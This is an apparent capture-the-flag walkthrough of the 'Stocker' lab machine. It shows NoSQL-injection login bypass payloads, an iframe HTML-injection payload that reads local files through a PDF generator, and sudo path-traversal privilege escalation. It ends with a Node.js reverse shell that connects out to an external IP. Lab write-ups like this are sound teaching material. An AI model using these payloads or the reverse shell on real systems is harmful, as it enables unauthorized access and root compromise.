Stocker involved enumerating a vhost which had a login page, vulnerable NoSQLi, on bypassing authentication, there was a functionality to add items in the cart where the title of the item was vulnerable to HTMLi
, leading to performing SSRF
via iframe tag to read local files, reading the index file of the application revealed database credentials which worked for angoose
, this user was able to execute node
as root by providing the path to js file, where root was achieved by performing a path traversal to execute the script containing commands to be executed as root.
NMAP
Nmap scan report for 10.10.11.196
Host is up (0.25s latency).
Not shown: 63825 closed tcp ports (conn-refused), 1708 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT 80 (HTTP)
From the nmap scan we can see that web server is redirecting to stocker.htb
so let's add this in /etc/hosts
file
Fuzzing for files and directories with diresarch
it didn't found anything
On fuzzing for subdomain with wfuzz
it found dev
subdomain, so adding this into hosts file as well
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://stocker.htb' -H "Host: FUZZ.stocker.htb" --hh 178
From wappalyzer
we can see this application is using express js which is a nodejs framework and it mostly uses mongodb which is a nosql database
On trying to tamper with the parameters
It returned an unexpected error the response and gave directory from where the application is being hosted from /var/www/dev
, after multiple failed attempts for bypassing login this article helped on bypassing authentication with nosqli
{
"username": { "$gt": "" },
"password": { "$gt": "" }
}
The way this works is, we supply json input and value of parameters are blank with gt
which represents "greater than" that means database is going to compare to empty strings and since in the database there are records the condition will become true as the database isn't empty like the strings we have specified, It can also be bypassed with ne
which is not "equals to operators"
{
"username": { "$ne": "arz" },
"password": { "$gt": "uwu" }
}
We could have used eq
operator which is "equals to operator" but since we don't know the username that won't work
Foothold
On adding items in the cart, we’ll have the option to submit purchase which will generate a pdf file having the items we have added in the cart
Intercepting this request, we’ll see that we have control over the item parameter which has the item name, adding html tags in the item name to see if it works
Referring to an article on reading local files, we can read them with the iframe
tag
<iframe src='file:///etc/passwd' height='900' width='800'>
Trying to read the ssh file for angoose
, it wasn't there but we know the location of the node application which is /var/www/dev
, we can try reading index.js
file
Using this password for angoose on ssh, allows us to login
Privilege Escalation
Running sudo -l
we can see this user can run node
on all js scripts in /usr/loca/scripts
Running these scripts won’t print anything
It’s using *
which may produce a possible path traversal from where we can run our js files, so create a javascript file in any writable directory and traverse till that path while executing node with sudo
sh = require("child_process").spawn("/bin/sh");
require("net").connect(2222, '10.10.14.54', function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})